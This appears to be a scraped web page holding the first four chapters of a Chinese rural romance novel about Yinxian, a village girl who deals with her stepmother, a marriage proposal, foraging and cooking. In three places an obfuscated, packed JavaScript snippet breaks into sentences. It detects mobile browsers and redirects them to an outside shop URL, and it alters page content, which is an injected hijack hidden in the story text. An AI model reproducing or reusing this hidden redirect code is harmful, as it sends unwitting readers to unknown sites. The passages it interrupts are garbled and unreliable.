《山户家的小娘子》 1. 第一章 三月初春，乍暖还寒，冰面早已解冻，青草里的小动物也从沉睡中苏醒，路边山野的花儿一大片地含了花苞，只待天气更暖和一些就要迫不及待绽放。 原本该是春耕农忙时，但江宁县石桥村里，却一派萧瑟景象。 天边渐亮起来，村子里的男人就纷纷扛着锄头外出下地，女人小媳妇们则到河边锤衣裳，也有小姑娘上山去采野菜、打猪草和挖葛根。 “阿线姐！”三叔爷家的春杏气喘吁吁小跑追上来，割草的锄刀在她背篓里哐哐乱响，“说好一起走，你怎么不等等我？” 走在前面个高细条的女孩正在摸一只大黄狗的狗头，闻言看过来，随后露出个笑容：“对不住，我今日起得早。” 春杏就撅嘴低声说：“是你那个后娘又骂你了吧？” 引线今年十七岁，生的高挑，虽然和村里大多数女孩一样因吃的差而脸发黄，但因皮肤天生白再差也算好过旁人，尤其是一双眼睛却像极了她过世的亲娘，格外水汪有神，每次后娘看到她这双眼睛盯着，就浑身不自在，时不时要找点茬心里才舒坦。 话说今儿个一早不过是饭舀晚了一点，吴七娘就揪着不放喋喋不休地，引线虽然忍气吞声，但也有性子，饭也没吃就背着背篓跑了。 看她不说话，埋着头往前走，春杏也不讨人嫌住了口，只是还是忍不住：“要是穿针姐姐还在就好了，她要是在，你日子也好过一些。” 穿针是叶家的长女，比引线大两岁，成亲快三年了，现在住在城里，没事不会回来。 提到姐姐，引线更加沉默了。 春杏是个话唠，闭嘴了好一会，又开始叽叽喳喳继续说。 引线看她不提吴氏了，这才和她说话闲聊起来。 石桥村背靠着淮山，前淌着淮水河，村子里的田原本都是富田，收成很好，村里人一开始都还有余粮，平日里也不过是妇人们农闲了带着闺女上山里来采蘑菇捡板栗。 但连着打了近十年的仗，每家每户都有青壮年被官府抽丁招走，村里就剩下一些因伤残免了或是兄弟多的人家，老妇幼比男人多了不少，女人们也扛起家里的重担，下地的下地，开垦的开垦，谁也不喊苦不喊累。 耕种力有限，地里的田荒废了不少，官府还要征税，青黄不接下，都忙着春种，只有年纪半大的孩子要往山上走，看能不能找些能不一样的山货野味，日日如此，因此再高的山，再多的东西也都被薅的差不多了。 两人一狗走了半个时辰都没看到有什么好东西，更别提菌子春笋了，那更是影儿都没。 又走了半个时辰才到山腰，春杏早上又只吃了两个杂粮窝窝和腌菜，走得格外吃力，早就手软脚软了，看了眼背篓里的一把蕨菜，就这还是刚才引线眼尖找见的，要是空着回去，还不知道自己那个大嫂要说什么，忍不住抱怨：“村里的人也太能走了，那棵野桑树的桑果我前日来的时候看到还有些没熟的，今儿个一来树上竟然只有叶了，那么青，吃了也不怕跑肚子。” 引线也擦了把额间的薄汗，看了眼吐舌头在前头坐着等她们的谷子，又抬头看了看天和四周，发现二人已经走到了山腰的路上，再往前就是山的另一面了。 那里不是不能去但很少有人会去，除非是猎手，或是经验老道的老汉，里头不好进出，要是不知地方乱窜，就是乱长的刺都能将人的裤腿刮烂，因此石桥村的妇女小姑娘走到这里就不会再往前了，只有部分胆大的人会进去碰碰运气。 只不过再往前走，就是属于南洼村的地界，石桥村的人也很少翻过这座山，只因那山是有人买下的，听说是城里的外地人，只是从不亲自来，只让人看管着。 两个村子的人都向来互相帮助，共用村塾不说，平时也多有通婚来往，因此偷摸越界去采东西这样丢脸的事，不会有人明知故犯。 春杏看了一眼，见引线没有要往回头走的意思，就试探：“阿线姐，你别是打算往里头走吧？” 里头没路，就算有路也不好走，很少有人进去，春杏看了眼里头，因为树荫茂密，太阳也照不进去，显得阴森森的，就拉了拉引线。 “有谷子呢，你怕啥。”引线踮起脚往里头张望，忽然神秘地抿唇笑，说：“其实我在里头不远的地方发现过一段薯蓣，怕我自己记错了，还在旁边移种了点野蒜苗，看这路近期应该没人去过，肯定还在，你想不想吃？” 春杏眼前一亮，似乎立刻就闻到了野蒜苗炒熏肉和蒸薯蓣的香气，耸了耸鼻子，立刻来了精神：“真的？” “当然。”引线说着就从背篓里拿出刀，一面动作娴熟地砍断快到膝盖的杂草枯枝，一面和她保证，“除非有人去过了，否则肯定有，一起去，挖出来都归你。” 春杏一听就明白了，问：“阿线姐，你是不是想问我换东西？”她呵呵笑，“说吧，你想要什么，只要我有。” 引线也不客气，说：“过几日我想去趟城里看我姐，她最喜欢吃糟菜了，你奶做的糟菜是村里都说好的，我想要一小坛带给她。” 糟菜就是将吃不完的新鲜用糟和粗盐腌制的东西，比腌菜好吃，也不似腌菜用的是粗盐，而是好的细盐，口感不一样。 从前没有兵祸时，都会用各种各样的食材腌制，比如茄子、萝卜、蒜苗，还有好些的用鸭蛋鹅蛋，不过现在这光景也就是用萝卜了。 这东西虽然简单，但能做得好吃也是一门手艺，因而春杏立刻就说：“成交，糟菜我家还有好几缸呢，不是问题。” 自从前几年开始，春杏奶就每年都要做五六缸，确保能从年头吃到年尾，第二年又如此，她早就吃厌了，听到引线居然要，忙不迭就答应了。 引线摇摇头，有些酸涩地笑了。 从前她娘做的糟菜也好吃，可惜去世以后她再也没吃到过了。娘去世时她还很年幼，自小是比她大两岁的姐姐当半个母护着她，对娘的记忆已经模糊，但糟菜的味道却很深刻。 两个小姑娘一人拿一把柴刀开路，谷子身型小跑得快，能钻进狭小的草丛里，但引线怕它遇到蛇，就喊它走后面去，谁知它不干，躺地上装死撒娇，一人一狗好一阵搏斗，最后谷子耷拉着耳朵还是老老实实走到两人后面。 如此以来，行进就更慢了一些，不过都是走惯了山路，因而半个时辰后就到了引线此前发现薯蓣的地方。 不过才下坡，就发现了不对。 她记忆里，这里是平整的斜坡，薯蓣就藏在这片斜坡里，野蒜苗则被她移植在东边位置，却没想到现在土都是翻过一遍，而且一路延伸都是湿润土被翻出来微微晒干，很明显是有人来挖过了。 春杏大失所望：“看来不止你一个人晓得这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587437|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 引线也觉得奇怪，用手捻了一块干掉的土，心里嘀咕，这里她每隔几日上山都观察了，并无人来的痕迹才放了心，没想到会这样。 春杏安慰她：“野蒜苗不是还在吗？这个给我就行，说好的糟菜也给你，只要跟我奶说一声就成，她很好说话的。” 东西已经没了，想也是无用，引线帮着拔野蒜苗，拔出来抖掉大部分的泥，随后都放在了春杏的背篓里。 当初移植只一把，现在没个把月却把背篓底装满了，春杏乐滋滋地：“今晚上就拿回去做野蒜苗炒熏肉，把我嫂子藏的熏肉拿出来吃了，让她着急！” 小姐妹两个说笑着下了山。 去春杏家里吃了口井水，等糟菜到手就和三叔奶道谢，到了自家却没急着进屋，而是绕到了柴房后面，把糟菜用提前预备的布包好放在柴房外的草垛子里。 姐姐出嫁的时候跟她约定过，每隔两个月，引线就借口卖山货去城里和姐姐见一面。一是为了确保吴氏并未苛待妹妹，二是做些荤腥好吃的给妹妹补一补，也是为了姐妹俩在一起说说话儿。 再有两日就是三月底，她不好每次去柳家都空着手，此前都会带一些山上的野菜和偷藏起来的蘑菇干，现在手里的干货没了，刚开了春山上春笋椿芽那些还没长出来就被人眼尖手快挖了掰了，越发没有了东西，她就只能想法子换了糟菜当做礼。 回去时，吴七娘正坐在堂屋门前摘菜，瞥了一眼空空如也的背篓，嗤笑一声：“出去混日子偷懒一晌午，还记着回来吃饭呐？” 引线懒得理她，在墙角丢下背篓柴刀去洗手，洗完手就回了自己屋。 吴七娘看她把自己当作无物，顿时气不打一处来：“真是好教养，看见你娘就是这样的？生你那个就是这样教你的？” 门忽然打开，引线眼睛盯着吴七娘，却不说话。 吴七娘最厌恶她这个眼神，怒道：“你这样瞪我做甚？难道我说的不对？” “你不是我娘。”引线忍无可忍，却保持面色平静，缓缓地说，“你也没资格说我亲娘。” 吴七娘顿时叫起来：“你叶家的好教养！居然敢顶撞亲上！” “吴娘子，别以为我不晓得你当时是怎么嫁给我爹的。”看着对方眼里一瞬间的慌乱，引线很满意，可是还不够，所以她继续说，“另外，王里正老婆耳朵上那对坠子是你送的吧？我娘的陪嫁你都用的还顺手吗？还要我再说吗？” 吴七娘，“你，你，你胡说八道，那是家里的钱，怎么成了你娘的陪嫁了？说话要有依据，你一个小丫头空口白牙的，凭什么乱说！” 家里没别人，叶望山去田里了，叶锦砚在村学还没散，二人一个站在亮堂堂的堂屋门前，一个站在西屋门里头暗处，可吴七娘却心虚不已，引线眼神坚定锐利。 “你拖着我不让人给我说亲事，旁人都说你贤惠，要给我寻个好婆家，实际上是为了什么你自己晓得。”引线毫不客气，“别惹恼了我，把我惹恼了先难的是你。” 一瞬间吴七娘被震慑住，但很快高声道：“我是你长辈，难道我还怕了你？” 引线笑了一声：“别以为给我爹生个儿子就真的成了我娘了，我忍你到现在已经足够了，你要是不想过安生日子，我也不会为了我爹忍气吞声了，你不信，大可以试试看。” 2. 第二章 吴七娘愕然的眼神中，引线飞快地关上了门坐在床沿上，她颤抖的手出卖了她，方才那些话她积攒了好久才说出口的，此前她一直为了爹和叶锦砚忍气吞声，就怕家丑外扬。 姐姐在时，遇到后母指桑骂槐，都是姐姐像护崽的母鸡一样和吴氏对嘴，她还能在羽翼下安生过活，自从三年前姐姐嫁了人，她在家里只有沉默，像个影子。 吴七娘每次都阻拦她去城里，上一回就找了借口阻止，因此她有小半年没和姐姐见面了。 这回她说什么都要去，就怕吴七娘不答应，所以先闹一场拿捏住她，也不管能管用多久，反正只要顺利去城里就成。 心里想着姐姐，身上疲累不堪，很快她就歪伏在被子上睡着了。 等到被人喊醒的时候，已经是过了午后，日头西斜。 外头居然有人说笑。 她腹中空空，手脚发虚，整了整毛躁的头发才开门出去。 见堂屋里的确有人说话，听声音，有爹，有吴七娘，还有个妇人。 尤其是吴七娘，笑得欢喜极了，像捡了个金元宝似的。 叶锦砚也在，看到她就回头大喊两声娘：“二姐出来了！” 吴七娘一扫此前的不快，笑呵呵地主动上来拉她的手，还把她往堂屋里推：“她二表姑，这就是我家二丫头，她不光模样好，还是个心灵手巧的，针线活家事都是一把好手，不信你到处去打听，没谁不夸咱家丫头好。” 那被称作二表姑的，长着细细的眼，身形宽，穿得不差，半新的蓝布裙子，边缘处还起了毛。看面相是个和善人，尤其是瞧见引线的时候就忍不住点了点头。 “叫我李二姑就成，我算是来对了。”她满意地笑笑，“论长相人才，真是和那小子不相上下，倒是天造地设的一对。” “我家二丫头，和她亲娘长得一样好。”叶望山在一旁坐着，听她这么夸赞，黑黝的脸上褶子挤到一起，也跟着笑：“对方是怎么说的？家里有什么人？” 李二姑满意了后，说起话来就更加敞开心扉了，“这陈家的小子呀，当年才十五岁，瘦瘦小小的，官府来征兵抽丁，他一声不吭虚报了一岁就替他大哥去了。谁知道一去就是八年，回来的时候人变得又高又壮，身板可结实了！现在呐在老屋住，偶尔进山打猎，或是种地，反正都是一把好手，人又细心，又没婆婆，不会亏待你家姑娘的。” 引线顿时明白，敢情这又是给她说婆家来了。 她仔细打量对方，见之前众多媒人中的确是没见过这个李二姑，也不晓得她是谁找来的，难道她不晓得吴七娘提出的要求？ “他大哥大嫂呢？” “嗨！”李二姑摆手，“那家寡嫂嫂去世后，她长子老大一家几口住在山里害怕，就搬到了山脚下的村子里住，两边不相干，各过各的。” 叶望山更满意了：“这就好，这就好。” 约定好男方上门相看下定的日子，引线沉默着看吴七娘送走了唾沫横飞的李二姑。 叶望山回来后看到沉默的女儿，咳嗽一声，抬头问她：“二丫头，你怎么想的？” “还能怎么想？”引线沉默后说，“许了多少聘礼？” 她只想弄清楚这件事，毕竟能让后母改口，只有好处。她可没忘当初吴七娘同村里人说的，要娶自己，至少要三两的聘礼，还得准备两石粮食，外加两匹细葛布、两匹粗布，才肯点头。 从前没打仗的时候，这些东西普通村户也不算什么，咬咬牙也出得起，甚至还有条件好的能给新媳妇准备一两样薄片金耳坠或是金手镯之类的也不在话下。 可这几年边关打仗，赋税重，又青黄不接，直到前几年吃饭都顿顿稀粥还挨饿，野菜都挖干净了。 这两年好歹缓过劲来，却谁家也没有那闲钱做聘礼，多的都是四斗细粮四斗粗粮图个四季顺遂、四钱银子作正式聘礼，外加一匹红布做新衣裳，就能将新媳妇娶回去，吴七娘这样显然是狮子大开口漫天要价。 村里人免不得背后议论，这后母果然就是后母，说是女儿金贵要多留几年，实际上拖着引线，一方面想靠她好相貌挣聘礼，一方面也是想多个劳动力在家多干几年的活。 谁不知引线娘在世的时候是出了名的勤劳人，穿针引线两姐妹也勤劳能干，若不是后娘下巴抬的高，本村里早就有人登门说亲事了，还能轮得到外村的人？ 果然，引线话说开，叶望山表情立刻变得尴尬起来。 “什么礼不礼的，二丫头，你可别想差了，”吴七娘笑呵呵地，“这户人家的二郎虽然从过军，可上头没有公公婆婆，有一把子力气，据说人有六尺呢！以后多置几亩地，过几年就富裕了，到时候女婿干活好，还能帮帮你弟弟，你说是不是？” 叶望山也同意吴七娘的说法，补充道：“是隔壁南洼村的，他爹之前是外地路过的木匠，娶了本地姑娘后落了户，大的已经娶妻生子，只有他还单着。他爹之前来咱们村里打活的时候我也见过，人不错，就是死的早，想来儿子也差不到哪里，你就别挑拣了，我是你爹，不会害你。” 引线埋着头没吭声。 吴七娘怕落空，赶紧拐了拐儿子。 叶锦砚虽说不愿意自己娘就这么把姐姐给随意嫁了，但爹一向还算公正，他都认可想来这个陈二郎至少不是偷奸耍滑的懒汉。 于是就上前去拉引线的手：“二姐，从小你对我最好，我盼着你有个好姻缘，我能得个好姐夫，你别生气，爹没一口答应，说等后日对方来家里坐坐，你看一眼再说也不迟。” 吴七娘刚显怀时嫁过来，那年引线刚过九岁，第二年春天里生了叶锦砚，爹就将娘留下的箱子开了锁，慢慢给吴七娘家里的权和钱，也包括教养两姐妹的权力。 虽然吴七娘表面慈善背地里偶尔使些坏水，但不妨碍坏种出了个好苗，叶锦砚却是个心底纯善的好孩子，大姐穿针对吴七娘再不客气，对叶锦砚却硬气不起来，只能是冷冷脸。 她都这样，更别提年纪更小一些的引线了，因此一向将他当做亲弟弟看待的，有些事叶望山都不知道，但她都会给他说。 看他都这样说了，引线虽然依旧没吭声，但还是点了点头。 这个事过后，家里几人依然该做什么做什么，引线正要挽袖子去做饭，忽然睡在窝棚的谷子猛地蹿了出去摇尾巴，下一刻就听到外头有人来喊她：“阿线姐！” 她出了灶房，看见扒墙头露了半个小脑袋小声喊她的正是春杏：“大树哥在小河沟那儿捡了好多地软，你吃不吃？咱们也去捡一些！” 地软又叫地皮菜、或地耳，下过雨后潮湿地带会长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587438|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些，虽然可以吃，但因采捡收拾麻烦，谁有那个闲工夫去弄这个，因此年份好时没几个人会去捡来吃。 现在大家都吃得差，平日看不上的东西就变得很抢手了，大松家和春杏家是邻居，平时春杏奶奶对隔壁无父无母的杨大树几兄妹很照顾，因此大树无意知道后就私下告诉了春杏，河沟水深，她不会凫水，一个人不敢单独去，就来喊引线作伴。 正要做饭的时候喊她，换做平时吴七娘肯定不会同意的，引线正要摇头，却听见吴七娘拿了两个冷掉的杂粮窝窝塞在她手里，说：“去吧去吧，多捡点，你爹和你弟弟都爱吃地皮菜包子，今天晚食我来做。”态度格外和煦，弄得春杏一头雾水。 两人都捆着腰竹篓一道出了村，谷子要来，引线喊了声回去，它悻悻地在原地跺了跺脚，还是没跟上来。 春杏忍不住问：“你后母对你这样，该不会大家在传的事是真的吧？” “哪件事？” “就是她收了隔壁南洼村陈家儿子聘礼的事啊，你怎么不知道？” 引线心里一跳，她当然知道，而且正烦恼呢，于是追问：“你还知道什么？村里怎么说的？” 看她一副真的不知道的样子，春杏有点儿懵，但还是四下张望。 两人此时已经走到了村头，村头的老槐树碾盘下有两个人，不过正在闲话，此外，并无他人。 春杏就偷偷地靠近了她，边走边说：“就是那个宋木匠呀，听说宋木匠本来不是木匠，是外地来的逃兵，后来被陈家的女儿救了，招了他入赘，这才有了后来的两兄弟。大儿子还好，这个小儿子陈二郎听说有六尺五，上个月村里有人看到他路过，差点没认出他。村头的李家小子也见过，说他站起来有山那么高，别说南洼了，就是咱们附近几个村里的人，谁也没有他那么高的个子，我二婶婶回娘家的时候也看到过他……” 正说着后面传来一个人的声音：“春杏你说的不对，我可听说过这个陈二郎。” 两人吓了一大跳，回头去看，却见是村西头张家的大儿子。 说起这个张庆，也是个令人头疼的小子。 因他自小就调皮捣蛋，读了两年书把石桥村好不容易设立村学后请来的先生都气跑了。可村里没一人敢说他的不是，只因他爷爷是村正，大伯又在县衙里做公人，他爹更是村里少有的敢进后山打猎的能人，一家子在村里说话都很有分量，加上张庆虽然惹人厌，却并没有干什么出格的事，大多数村民也就忍忍了。 张庆年纪和春杏一样大，两人算是青梅竹马了，就只差捅破这层窗户纸，因此见他们打闹引线也见怪不怪。 春杏看他来，先是吓了一跳，拍着胸瞪他：“吓死人了，躲人家后面偷听什么呢！” 张庆生的眼大鼻宽厚唇，明明是老实巴交的长相，说话的时候却有种地痞的气质，他凑到春杏跟前笑嘿嘿：“你心虚，是不是还说什么我听不得的话了？” 春杏方才没生气，这会见他这样没正形，顿时拉了脸：“你再说，我回去告我奶，说你欺负我！” “哎哎，好了好了！”张庆天不怕地不怕，就怕春杏奶奶，赶紧求饶：“我怕了你了，我认错，你别生气了！” 引线在旁边，春杏赶紧催他：“你刚才说陈二郎你见过，到底是长什么样？” 3. 第三章 张庆连忙跟上两人，正色道：“也不是看到过，就是上回我求了我爹带我进山，在那边远远遇到了，当时他猎到了一只麂子，正在剥皮拆骨，我爹下去搭话，看着怪血腥的，我就没敢跟上去。” 他顿了顿，似乎是回想那日看到的场景，却无意看到两个小姑娘听到血腥、剥皮等词，眉头都全部皱成了一团，春杏更是害怕：“他、他居然敢在山里剥皮拆骨！” 村里过年的时候也会杀年猪，他爹也会对山里抓来的兔子野鸡等等进行宰脖子放血剥皮等等，不过这些都和后者比起来简直是不值一提，毕竟麂跑得快，听觉又灵敏，不是一般人能猎到的，因此他也没见过这种场面，更别提她们二人了。 张庆转念，立刻起了点小小的坏心眼，“不止呢，我还听我爹说，这陈二郎和他爹一样，生得又高又壮，我还听我爹说，他爹当初其实是逃兵，陈二郎又是去从过军的，战场上杀人如麻，别人都缺胳膊少腿，就他好全人地回来……对他来说一头麂子算什么！” 春杏脸都白了。 引线比她镇定一点，不过也只是一点，其实心里早已心乱如麻。 张庆却没发现二女的神情，将自己从老爹那里听来的和村里人胡乱传的话，又添油加醋地掺了点将城里说书人的鬼怪故事，故意吓唬两人，“其实到这也不算什么，我听说，他自从从军回来后，就一个人住在南洼的山上，不但喜欢生吃肉，还将剥下来的麂子皮盖在身上进山，借此吸引熊瞎子和大虫——” 春杏捂住了耳朵：“你别说了，怪吓人的！”她只是听说这陈二郎生的高壮，并未听说这些后来的事，顿时心惊肉跳不敢再听。 张庆就掏出一把花生给春杏赔罪，又和春杏逗笑两句，这才注意到引线的脸色很难看。 他昨日才从城里大伯家回来，并不知陈家提亲的事，见春杏一直给他打眼色，虽不知为何，但感觉他好像说错了话，就极懂事地借口有事溜了。 “阿线姐？”春杏拉了拉引线的袖子。 引线回过神，冲她安慰地一笑，似乎也是宽慰自己：“张庆这小子一向爱乱说，肯定不是真的，咱们快去采地皮菜吧，去晚了怕是被人摘了。” 春杏也点头：“肯定是。”她越想越觉得应该是张庆吓唬她们俩的，可一想到那些血糊糊的场面，心里就害怕地紧。 两个小姑娘被突如其来的事弄得没了心情说笑，一路上都没再闲聊，并肩走着，就这么安安静静到了村口石桥处。 过了石桥往左手走，是出村到南洼村的大路，往右手边则是进小河沟的狭道。杨大树所说的地点引线也知道大概，因此和春杏一起往下走。 “叶姑娘！”有个书生模样的人跑过来，气喘吁吁地。 春杏一瞧，就冲引线挤眉弄眼，“姐你瞧，是周夫子。” 石桥村和南洼村虽然是两个村，但却就隔了一条河加上三里路，南洼地势平缓，因此占地略大，加上有陈姓宗族，村塾一直都有先生。 石桥村这边坐落在两座山中间，除了山脚下的十几户人家，其余的多半东一户西一户，加上村塾停了后，石桥村的孩子要是想读书都会送到南洼那边去。 好在离得不远，因此两个村也就顺理成章共用一个村塾。村塾里也只有一个先生，从前的先生姓周，去年退业后，就由他的儿子接手，继续做了学堂的夫子。 眼前这位年轻男子，就是周夫子了。 周蕴生原本并无打算来石桥村，不过他今日听叶锦砚说他姐姐要定亲了，他才着了急，随口找了个由头过来，没想到正巧在这碰上了。 “周夫子。”引线眉目平淡地看着他，“你这么急匆匆的，可是锦砚在学堂惹什么祸了？” 周蕴生一时语塞。 他面皮白，一下子红了脸，想问，又碍于还有旁人在，只好支支吾吾地找借口，“我，我是想问你们要去哪？”一副正好路过的样子。 春杏看到他神色，侧头瞄了一眼引线这头，才又望向他，笑着答话：“我们要去采地皮菜，您有事就自去忙，我们这就走了。” 学堂的先生在村里很受人敬重，哪怕周蕴生才二十来岁，可他早在几年前已经过了童生试，因此依然能被人称呼夫子或是您，并且走到哪儿都有人客气的对他。 难得碰壁，当下更加不知该如何作答，满腹经文在心上人面前都空无一用。 引线看他神色发窘，主动替他解围：“周夫子是读书人，怎么能干这些活。再说小河沟那边泥软湿滑，您别去了，要是我们采的多，您也不嫌弃的话，明日我让小弟给您捎一萝地皮菜包子去。” 周蕴生知道，引线做饭的手艺很好。 两个村共用一个村塾，每年除了固定的束脩半吊钱，还得由读书孩子的家长轮流管一餐午食。 那时候叶家的饭菜就比别家的味道香，他只以为是叶锦砚娘做的，没想到有一回轮到叶家时，送来的却难以下咽，一直捱到了下学他才单独留了叶锦砚问话。 叶锦砚说：“往日都是我二姐做，四五日前她去山上扭伤了做不了活，今日的饭菜是我娘做的。” 他才晓得，原来如此。 后来又无意见到了引线，顿时头一次起了想要娶妻的念头。 只不过，叶家那个后母到处给人说，要是没有丰厚的聘礼，她绝不会放心将人嫁出去。 若是从前，他有自信拿得出这些。可今非昔比，他们还得留着钱备以后的要紧事—— 他爹自然是不同意的。 看着两个小姑娘离开，周蕴生心里感到一股抑闷，眉头更是皱地紧紧的。 * 小河沟距离不远，杨大树发现的这个地方却很隐蔽。 可以说每日都有人从这里过，可若没有他的口述指向，凭着她们自己是绝对找不到此处。 “哇，大树哥给我们留了这么多！”春杏眼睛都亮了。 引线看过去，见一条小溪流从小河沟里分流出来，一半被茂密树木遮盖， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587439|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半暴露在阳光下，只不过两边都是湿润的苔藓草丛，一脚踩上去，却发现软乎乎地裹着脚背，只需稍微一用力就往下陷，黏腻地很。 二女干脆脱了鞋，裤脚一层层挽起到小腿，赤脚下去采。 手指翻开细密湿润的矮草，露出下面一层更低矮，紫褐色的，软乎乎滑溜溜，几乎是贴在泥上的油嫩又软的地软。 两个蹲下身，痛痛快快地捡了起来。 引线更加细心一些，一面捡，一面将地软上沾惹的泥土和苔藓给去了。 春杏看了眼自己捡的，要不就是泥，要不就是草屑，顿时有点不好意思，跟着引线做，将捡来的地软清理干净。 这东西捡的时候痛快，弯着腰可以不用起来，只管一面走，一面往腰篓里放。 时间一久，站起来的时候可就难了，两个人都脚麻手麻，忍不住对视一眼，哈哈大笑起来。 然而还有个难处等着她们，就是太难洗。 不过既然来了，一早也知道，就没想过难，两个女孩找了块大石头坐着，一点一点地将半篓地软给洗干净。 回去的时候已经是天快黑了，和春杏在春杏家门口分开，引线走回去。 叶望山没在家，吴七娘关着门不知道干什么。 听到开门声，叶锦砚丢下笔，一溜就从东面小屋出来，看着淘洗好的半篓地软，忙问：“姐，你去了一下晌，就弄了这点？” 引线好笑：“你今日功课做完了？还这么点，就这些还是杨家大哥好心留的，我和春杏一人一半，不然就一捧你也找不着。” “姐，这地软你打算怎么做？” “你想吃什么？” “做包子吧，我喜欢吃地软包子，”叶锦砚也不客气，笑嘻嘻地，“大姐在家的时候做的地软包子最好吃，她嫁了人我再也没吃过了。” 虽然世道困难，可叶望山因读过书，所以在村正那里揽了个替族中抄账的活，钱不多，但也算一笔收入，加上地里的收成，十天半个月吃回肉是没问题的。 可当下供养叶锦砚读书，所以一家人的日子格外紧巴，连地软这样的也能当个宝贝，引线不免有点怅然。 她摸了摸弟弟的头：“和我想到一块去了，就吃包子。” 今日是弄不成了，让叶锦砚放好背篓，自己去了灶房。 一摸灶台和锅，倒是热的，揭盖一瞧，里头的饭食却一如吴七娘往日的手艺，糊成了一团，也不晓得做的是什么。 她也不嫌弃，端起碗坐下来一口一口吃了个干净。 收拾好后，又打水洗脸洗脚，还用杨柳枝刷了下口——娘还在世的时候，她们都有城里买的猪毛做的小刷子，现在她只能折河边的柳枝。 折了一小段柳枝放在口里嚼，十几下后开门吐出去，原本还开着的东屋门顿时关紧，好像防着她似得。 引线看也不看对方的小动作，关门，睡觉。 她今天实在是太累了。 很快就睡着了。 4. 第四章 第二日早早起来，才开门，属于早上的冷意就灌了进来。叶望山又不见，应该是趁着早上凉快吃了碗冷饭就去地里了。 母鸡在院子里咯咯叫避开，谷子看到她立刻站起来摇尾巴。 引线冲它瞪眼：“昨儿晚上没看见你，去找情郎了？” 叶家的大黄狗谷子生得体格矫健，又眉清目秀的，村里不少公狗喜欢，总是追着跑，但谷子就喜欢隔壁村的一只带黑花纹的公狗，也不嫌累，每日都去。 谷子不知道听懂了还是没听懂，尾巴却摇得更欢快了。 吴七娘则正好撞上，提着锄草的农具草帽一副要出门的样子：“二丫头，早食我都做好了，就在锅里，你快去吃。” 引线没理她，自去打水洗脸。 换做平日吴七娘早就恼了，今日却一反常态忍下了，又说：“二丫头，昨日是我说错了话，你别放在心上。但实话说，这么多年日子怎么过的你也清楚，你娘的那些东西虽然是经过我手的，可我不也是用在了你们几个身上？就说你大姐出嫁时候的两个箱子，里头一半都是你娘嫁妆里的，我可一点没占。” 引线一面洗脸一面听她不要脸的狡辩，心知她是为了什么讨好自己，也不生气也不气恼，反而问：“那我这回要嫁人，你打算给我预备多少嫁妆？” “那怎么能一样！”吴七娘叫道，却发现自己暴露了心思，干笑一声，企图补救，“你大姐都嫁了快三年了。更何况现在好不容易战事平定了，官府里收税的人却一拨一拨地来敲锣，咱们家里四个嘴吃饭，哪样不是钱？唉，你以后当了家你就晓得我的难处了。” 引线依旧不咸不淡地“哦”了一声，再无接言的意思。 吴七娘咬了咬牙，说了声去下地，脚下生风地走了。 她一走，引线草草吃了她留的饭，开始做包子，根本没将方才的对话放在心上。 揉好杂面放到一边发酵，再用左手将地皮菜抓一把，右手切，如此反复，没一会小半篓地皮菜就处理完毕，成了细密的一小盆碎菜。 肉是个稀罕的东西，家里只有几块熏肉，别说加在里头能不能行，就是吴七娘也不会允许她拿来做包子。 毕竟过年时候，吴七娘为了省做熏肉的钱，甚至跑到娘家躲了几日。 要不是叶望山实在是觉得丢脸去将她拉回来，只怕还要继续躲下去。 这一番折腾，到底随了她的意，家里就几块陈年熏肉，要想吃还得问她要，引线才不想低头，所以她决定用鸡蛋和馅儿。 处理好地皮菜，她走到后头的鸡圈旁，看着里头咯咯叫的鸡因为她的到来乱成一团。 叶家的鸡也有定数，十二只母鸡，两只公鸡。 过年时候因为没买肉，叶望山赌气下接连杀了四只鸡，吴七娘嚎丧似地哭了半个时辰，倒是将引线和叶锦砚姐弟日日吃了个满嘴流油，过了个荤年。 她去鸡窝看了眼，里头有两只母鸡正窝在里面，看起来快要下蛋了。 连着柜子里的七个，和这刚下的还热乎的两个，一共九个，引线全都磕碗里搅打起来。 她动作飞快，蛋黄和蛋清也就很快混合均匀，然后再加了半碗热水，这样待会鸡蛋煎出来能更蓬松，量也多一些。 先将地皮菜用热水汆烫一会，再起锅倒油，油烧到过热后，加入全部鸡蛋。 火烧的旺，很快鸡蛋液就在锅里沿着一圈慢慢凝固成形，她用铲子推开成形的，有了机会，那些还流动的蛋液一股脑往锅底去，又在热油和灶火的作用下迅速凝固。这时候不用再推了，直接用飞舞的铲子将鸡蛋炒碎，最后形成金黄色的质地的炒鸡蛋碎。 烫好的地皮菜碎、鸡蛋碎、另外加入一把切好的野葱，再简单调味，包子馅就做好了。 做完这些，面也发的差不多，开始动手擀面包馅。 上锅大火蒸熟，面的发酵香气和油润馅料的味道交织在一起，惹得她津液在口中翻腾。 